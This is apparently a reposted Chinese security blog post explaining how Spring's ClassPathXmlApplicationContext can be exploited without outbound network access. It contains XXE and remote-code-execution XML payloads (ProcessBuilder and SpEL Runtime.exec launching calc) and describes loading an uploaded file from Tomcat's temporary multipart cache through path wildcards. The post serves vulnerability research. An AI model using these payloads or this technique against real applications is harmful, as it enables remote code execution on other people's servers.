ClassPathXmlApplicationContext不出网利用学习

ClassPathXmlApplicationContext 构造函数能够触发多种类型漏洞，比如 XXE 和 RCE ，并且 RCE 还存在不同的构造方式：

1. XXE

<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE pbSYSTEM"http://***"><pb />

ClassPathXmlApplicationContext 会通过 DefaultDocumentLoader 类的函数 loadDocument 加载 XML 文件，没有禁用外部实体解析，存在 XXE 漏洞：

2. Method Invoke to RCE

<beansxmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <beanid="pb"class="java.lang.ProcessBuilder"init-method="start">        <constructor-arg>            <list>                <value>cmd.exe</value>                <value>/c</value>                <value>calc</value>            </list>        </constructor-arg>    </bean></beans>

经过一系列处理后将通过 Method#invoke 反射调用 bean 指定的函数，可以实现命令执行：

3. SpEL to RCE

<beansxmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <beanid="pb"class="#{T(java.lang.Runtime).getRuntime().exec('calc')}">    </bean></beans>

StandardBeanExpressionResolver#evaluate 将对获取的 Bean 进行 SpEL 表达式解析，由于这里使用 StandardEvaluationContext ，所以可以触发 RCE ：

ClassPathXmlApplicationContext 通过 URL.openConnection 来加载 XML 文件，可以支持 http/file/ftp/jar 等：

在 isPattern 中，当路径中含有 * 或者 ? 等符号时将返回 true ，此时 Resource 将通过 findPathMatchingResources 函数来获取：

进入 findPathMatchingResources 函数，内部会提取根目录，然后调用 doRetrieveMatchingFiles 遍历目录下的所有文件进行匹配，最终将符合条件的文件加载到资源集合中：

因此，ClassPathXmlApplicationContext 除了能够远程加载 XML 之外，还可以通过 * 或者 ? 等通配符，结合函数 findPathMatchingResources 来加载指定目录下的 XML 文件。

Tomcat 存在文件上传的缓存机制， FileUploadBase#parseRequest 会对任意 multipart 请求进行处理（即使上传接口不存在），将上传的内容进行临时保存，临时文件的存储目录为 Temptomcat.***workTomcatlocalhostROOT ，位于 Tomcat 环境变量 ${catalina.home} 之下：

这里 Streams.copy 函数将调用 DiskFileItem#getOutputStream 来获取需要保存的文件对象，其中生成的临时文件名称来自于 getTempFile ，命名规则为随机 uuid 字符串 + getUniqueId 获取的整数 + .tmp ：

那么如何获取文件地址呢？回过头来看 ClassPathXmlApplicationContext  构造函数，会发现其调用了 setConfigLocations ，该函数通过 resolvePath 进行 XML 路径解析，内部存在环境变量解析的过程，因此利用 ${catalina.home} 和通配符可以构造一种较为通用的获取临时文件路径的方法：

原文始发于微信公众号（自在安全）：ClassPathXmlApplicationContext不出网利用学习